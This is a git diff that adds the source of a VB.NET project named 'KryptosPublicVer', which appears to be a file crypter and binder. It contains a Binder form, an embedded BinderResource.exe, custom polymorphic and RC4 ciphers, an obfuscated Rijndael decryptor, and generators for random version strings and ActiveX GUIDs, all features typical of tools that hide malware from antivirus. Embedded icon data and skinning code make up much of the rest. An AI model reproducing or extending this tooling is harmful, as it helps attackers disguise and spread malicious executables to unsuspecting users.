AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS05Mf0tOTP9LT03/TE9NfwAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUFRSf1BUUn8A + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAA8AAAD4AAAAHwAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/w + AAAP8AAAD/AAAA/wAAAPwAAAA8AAAAPgAAAH8AAAD/gAAB/8AAA//gAAP/8AAD//gAA//8AAP//gBD// + 8Aw///gf///8P////n////////////8oAAAAGAAAADAAAAABACAAAAAAAGAJAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAHBwcBBAQEAgAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAACwAAAAoA + AAAJAAAACAAAAAcAAAAGAAAABQAAAAQEBAQCCAkJAQAAAAAAAAAAAAAAAAAAAAEvMjICOj09gi0vL4M3 + OjmEQkVEhUVIR4YqKyqHICAgiCAgIIkgICCKICAgiiAgIIkgICCIKisrh0NGRYY9Pz+FNjg5hDAzNIM/ + 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 + + + \ No newline at end of file diff --git a/scode (KryptosPublicVer/MainWindow.vb b/scode (KryptosPublicVer/MainWindow.vb new file mode 100644 index 0000000..7132309 --- /dev/null +++ b/scode (KryptosPublicVer/MainWindow.vb @@ -0,0 +1,27 @@ +Public Class MainWindow + + Private Sub CyberButton1_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton1.Click + Form1.Show() + + End Sub + + Private Sub CyberButton2_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton2.Click + Binder.Show() + End Sub + + Private Sub CyberButton3_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton3.Click + Me.Close() + End Sub + + Private Sub CyberTheme1_Click(sender As System.Object, e As System.EventArgs) Handles CyberTheme1.Click + + End Sub + + Private Sub MainWindow_Load(sender As Object, e As System.EventArgs) Handles Me.Load + For Fadein = 0.0 To 1.1 Step 0.1 + Me.Opacity = Fadein + Me.Refresh() + Threading.Thread.Sleep(100) + Next + End Sub +End Class \ No newline at end of file diff --git a/scode (KryptosPublicVer/My Project/Application.Designer.vb b/scode (KryptosPublicVer/My Project/Application.Designer.vb new file mode 100644 index 0000000..690dc9c --- /dev/null +++ b/scode (KryptosPublicVer/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.KryptosPublicVer.MainWindow + End Sub + End Class +End Namespace diff --git a/scode (KryptosPublicVer/My Project/Application.myapp b/scode (KryptosPublicVer/My Project/Application.myapp new file mode 100644 index 0000000..378ab30 --- /dev/null +++ b/scode (KryptosPublicVer/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + MainWindow + false + 0 + true + 0 + true + \ No newline at end of file diff --git a/scode (KryptosPublicVer/My Project/AssemblyInfo.vb b/scode (KryptosPublicVer/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..d6ba9f1 --- /dev/null +++ b/scode (KryptosPublicVer/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (KryptosPublicVer/My Project/Resources.Designer.vb b/scode (KryptosPublicVer/My Project/Resources.Designer.vb new file mode 100644 index 0000000..d9e5dc6 --- /dev/null +++ b/scode (KryptosPublicVer/My Project/Resources.Designer.vb @@ -0,0 +1,70 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("KryptosPublicVer.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + Friend ReadOnly Property BinderResource() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("BinderResource", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + End Module +End Namespace diff --git a/scode (KryptosPublicVer/My Project/Resources.resx b/scode (KryptosPublicVer/My Project/Resources.resx new file mode 100644 index 0000000..e1e3296 --- /dev/null +++ b/scode (KryptosPublicVer/My Project/Resources.resx @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\BinderResource.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (KryptosPublicVer/My Project/Settings.Designer.vb b/scode (KryptosPublicVer/My Project/Settings.Designer.vb new file mode 100644 index 0000000..1965bca --- /dev/null +++ b/scode (KryptosPublicVer/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.KryptosPublicVer.My.MySettings + Get + Return Global.KryptosPublicVer.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (KryptosPublicVer/My Project/Settings.settings b/scode (KryptosPublicVer/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (KryptosPublicVer/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (KryptosPublicVer/MyRandom.vb b/scode (KryptosPublicVer/MyRandom.vb new file mode 100644 index 0000000..6873648 --- /dev/null +++ b/scode (KryptosPublicVer/MyRandom.vb @@ -0,0 +1,128 @@ +Public Class MyRandom + +#Region "GenerateRandomString()" + Public Shared Function GenerateRandomString(ByVal Uppers As Boolean, ByVal Lowers As Boolean, ByVal Numbers As Boolean, ByVal Specials As Boolean, ByVal Length As Integer) As String + Const STR_UPPERS As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + Const STR_LOWERS As String = "abcdefghijklmnopqrstuvwxyz" + Const STR_NUMBERS As String = "0123456789" + Const STR_SPECIALS As String = "~`!@#$%^&*()_+=-{[}]|;:'<,>.?" + + Dim Characters As String = Nothing + Dim RandomString As String = Nothing + + + If Uppers = True Then + Characters &= STR_UPPERS + End If + + If Lowers = True Then + Characters &= STR_LOWERS + End If + + If Numbers = True Then + Characters &= STR_NUMBERS + End If + + If Specials = True Then + Characters &= STR_SPECIALS + End If + + + Randomize() + + For i As Integer = 0 To Length - 1 + RandomString &= Mid(Characters, Len(Characters) * Rnd() + 1, 1) + Next + + + + Return RandomString + End Function +#End Region + +#Region "GenerateRandomNumber()" + Public Shared Function GenerateRandomNumber(ByVal Max As Integer, Optional ByVal Min As Integer = 0, Optional ByVal Seed As Integer = 0) As Integer + Dim myRandom As Random + + If Seed <> Nothing Then + myRandom = New Random(Seed) + Else + myRandom = New Random(Now.Millisecond) + End If + + + If Min > Max Then + Dim newMin As Integer = Min + + Min = Max + Max = newMin + End If + + + + Return myRandom.Next(Min, Max) + End Function +#End Region + +#Region "GenerateRandomVersion()" + Public Shared Function GenerateRandomVersion() As String + Dim First As String = GenerateRandomNumber(9).ToString() + + Randomize() + Dim Second As String = GenerateRandomNumber(9, 0, First * CInt(Rnd())).ToString() + + Randomize() + Dim Third As String = GenerateRandomNumber(9, 0, Second * CInt(Rnd())).ToString() + + Randomize() + Dim Fourth As String = GenerateRandomNumber(9, 0, Third * CInt(Rnd())).ToString() + + + Return First & "." & Second & "." & Third & "." & Fourth + End Function +#End Region + +#Region "GenerateRandomActiveX()" + Public Shared Function GenerateRandomActiveX() As String +FirstStep: Dim First As String = GenerateRandomString(True, True, True, False, 8) + + If First.Length <> 8 Then + GoTo FirstStep + End If + + +SecondStep: Dim Second As String = GenerateRandomString(True, True, True, False, 4) + + If Second.Length <> 4 Then + GoTo SecondStep + End If + + +ThirdStep: Dim Third As String = GenerateRandomString(True, True, True, False, 4) + + If Third.Length <> 4 Then + GoTo ThirdStep + End If + + +FourthStep: Dim Fourth As String = GenerateRandomString(True, True, True, False, 4) + + If Fourth.Length <> 4 Then + GoTo FourthStep + End If + + +FifthStep: Dim Fifth As String = GenerateRandomString(True, True, True, False, 12) + + If Fifth.Length <> 12 Then + GoTo FifthStep + End If + + + + Return "{" & First & "-" & Second & "-" & Third & "-" & Fourth & "-" & Fifth & "}" + End Function +#End Region + + +End Class \ No newline at end of file diff --git a/scode (KryptosPublicVer/PStaris.vb b/scode (KryptosPublicVer/PStaris.vb new file mode 100644 index 0000000..c79b968 --- /dev/null +++ b/scode (KryptosPublicVer/PStaris.vb @@ -0,0 +1,30 @@ + +Imports System.Text + +Public Class PolyMorphicStairs + Overloads Shared Function PolyCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String + Dim buff() As Byte = PolyCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds) + PolyCrypt = Encoding.Default.GetString(buff) + Erase buff + End Function + Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String + Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds) + PolyDeCrypt = Encoding.Default.GetString(buff) + Erase buff + End Function + Overloads Shared Function PolyCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte() + Array.Resize(Data, Data.Length + 1) + Data(Data.Length - 1) = Convert.ToByte(New Random().Next(1, 255)) + For i = (Data.Length - 1) * (ExtraRounds + 1) To 0 Step -1 + Data(i Mod Data.Length) = CByte(CInt((Data(i Mod Data.Length)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor Key(i Mod Key.Length) + Next + Return Data + End Function + Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte() + For i = 0 To (Data.Length - 1) * (ExtraRounds + 1) + Data(i Mod Data.Length) = CByte((CInt(Data(i Mod Data.Length) Xor Key(i Mod Key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256) + Next + Array.Resize(Data, Data.Length - 1) + Return Data + End Function +End Class diff --git a/scode (KryptosPublicVer/RC4.vb b/scode (KryptosPublicVer/RC4.vb new file mode 100644 index 0000000..925a62c --- /dev/null +++ b/scode (KryptosPublicVer/RC4.vb @@ -0,0 +1,58 @@ +Imports System.Text + +Public Class RC4 + + + Public Class ARC4 + Public Shared Function rc4(ByVal message As String, ByVal password As String) As String + Dim i As Integer = 0 + Dim j As Integer = 0 + Dim cipher As New StringBuilder + Dim returnCipher As String = String.Empty + Dim sbox As Integer() = New Integer(256) {} + Dim key As Integer() = New Integer(256) {} + Dim intLength As Integer = password.Length + Dim a As Integer = 0 + While a <= 255 + Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0)) + + key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp) + sbox(a) = a + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + Dim x As Integer = 0 + Dim b As Integer = 0 + While b <= 255 + x = (x + sbox(b) + key(b)) Mod 256 + Dim tempSwap As Integer = sbox(b) + sbox(b) = sbox(x) + sbox(x) = tempSwap + System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1) + End While + + a = 1 + + While a <= message.Length + Dim itmp As Integer = 0 + i = (i + 1) Mod 256 + j = (j + sbox(i)) Mod 256 + itmp = sbox(i) + sbox(i) = sbox(j) + sbox(j) = itmp + Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256) + Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0) + itmp = Asc(ctmp) + Dim cipherby As Integer = itmp Xor k + cipher.Append(Chr(cipherby)) + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + + returnCipher = cipher.ToString + cipher.Length = 0 + + Return returnCipher + + End Function + End Class + +End Class diff --git a/scode (KryptosPublicVer/Resources/BinderResource.exe b/scode (KryptosPublicVer/Resources/BinderResource.exe new file mode 100644 index 0000000..e1fca58 Binary files /dev/null and b/scode (KryptosPublicVer/Resources/BinderResource.exe differ diff --git a/scode (KryptosPublicVer/Secure.ico b/scode (KryptosPublicVer/Secure.ico new file mode 100644 index 0000000..7ea9ee5 Binary files /dev/null and b/scode (KryptosPublicVer/Secure.ico differ diff --git a/scode (KryptosPublicVer/StarChased.vb b/scode (KryptosPublicVer/StarChased.vb new file mode 100644 index 0000000..73c0928 --- /dev/null +++ b/scode (KryptosPublicVer/StarChased.vb @@ -0,0 +1,23 @@ +Imports System.Security.Cryptography + +Public Class StarChased + + Public Shared Function sBdoBEmaojEBLDWlfHjXmWp(ByVal EKVelYMHpMgTZotow As String) + Dim buMZbvknqmoigkahD As New RijndaelManaged + Dim HmQuUrKwvFKrDVBdP() As Byte + Dim JQLNDOIoDvlSeCFSf() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} + Dim oKeyGenerator As New Rfc2898DeriveBytes("sBdoBEmaojEBLDWlfHjXmWp", JQLNDOIoDvlSeCFSf) + buMZbvknqmoigkahD.Key = oKeyGenerator.GetBytes(buMZbvknqmoigkahD.Key.Length) + buMZbvknqmoigkahD.IV = oKeyGenerator.GetBytes(buMZbvknqmoigkahD.IV.Length) + Dim MsGeiiGgJoPqIgKHw As New IO.MemoryStream + Dim PXBuREDZPhrQjNPuP As New CryptoStream(MsGeiiGgJoPqIgKHw, buMZbvknqmoigkahD.CreateDecryptor(), CryptoStreamMode.Write) + Try + HmQuUrKwvFKrDVBdP = Convert.FromBase64String(EKVelYMHpMgTZotow) + PXBuREDZPhrQjNPuP.Write(HmQuUrKwvFKrDVBdP, 0, HmQuUrKwvFKrDVBdP.Length) + PXBuREDZPhrQjNPuP.Close() + Return System.Text.Encoding.UTF8.GetString(MsGeiiGgJoPqIgKHw.ToArray) + Catch + End Try + End Function + +End Class diff --git a/scode (KryptosPublicVer/Theme.vb b/scode (KryptosPublicVer/Theme.vb new file mode 100644 index 0000000..5d6e311 --- /dev/null +++ b/scode (KryptosPublicVer/Theme.vb @@ -0,0 +1,1272 @@ +Imports System, System.IO, System.Collections.Generic +Imports System.Drawing, System.Drawing.Drawing2D +Imports System.ComponentModel, System.Windows.Forms + +Enum MouseState As Byte + None = 0 + Over = 1 + Down = 2 + Block = 3 +End Enum + +Class Bloom + + Private _Name As String + Property Name() As String + Get + Return _Name + End Get + Set(ByVal value As String) + _Name = value + End Set + End Property + + Private _Value As Color + Property Value() As Color + Get + Return _Value + End Get + Set(ByVal value As Color) + _Value = value + End Set + End Property + + Sub New() + End Sub + + Sub New(ByVal name As String, ByVal value As Color) + _Name = name + _Value = value + End Sub +End Class + +MustInherit Class Theme + Inherits ContainerControl + + Protected G As Graphics + + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + _ImageSize = Size.Empty + + MeasureBitmap = New Bitmap(1, 1) + MeasureGraphics = Graphics.FromImage(MeasureBitmap) + + Font = New Font("Verdana", 8S) + + InvalidateCustimization() + End Sub + + Protected Overrides Sub SetBoundsCore(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal specified As BoundsSpecified) + If Not _LockWidth = 0 Then width = _LockWidth + If Not _LockHeight = 0 Then height = _LockHeight + MyBase.SetBoundsCore(x, y, width, height, specified) + End Sub + + Private Header As Rectangle + Protected NotOverridable Overrides Sub OnSizeChanged(ByVal e As EventArgs) + MyBase.OnSizeChanged(e) + If _Movable AndAlso Not _ControlMode Then Header = New Rectangle(7, 7, Width - 14, _MoveHeight - 7) + Invalidate() + End Sub + + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + G = e.Graphics + PaintHook() + End Sub + + Protected NotOverridable Overrides Sub OnHandleCreated(ByVal e As EventArgs) + InitializeMessages() + InvalidateCustimization() + ColorHook() + + _IsParentForm = TypeOf Parent Is Form + If Not _ControlMode Then Dock = DockStyle.Fill + + If Not _LockWidth = 0 Then Width = _LockWidth + If Not _LockHeight = 0 Then Height = _LockHeight + If Not BackColorWait = Nothing Then BackColor = BackColorWait + + If _IsParentForm AndAlso Not _ControlMode Then + ParentForm.FormBorderStyle = _BorderStyle + 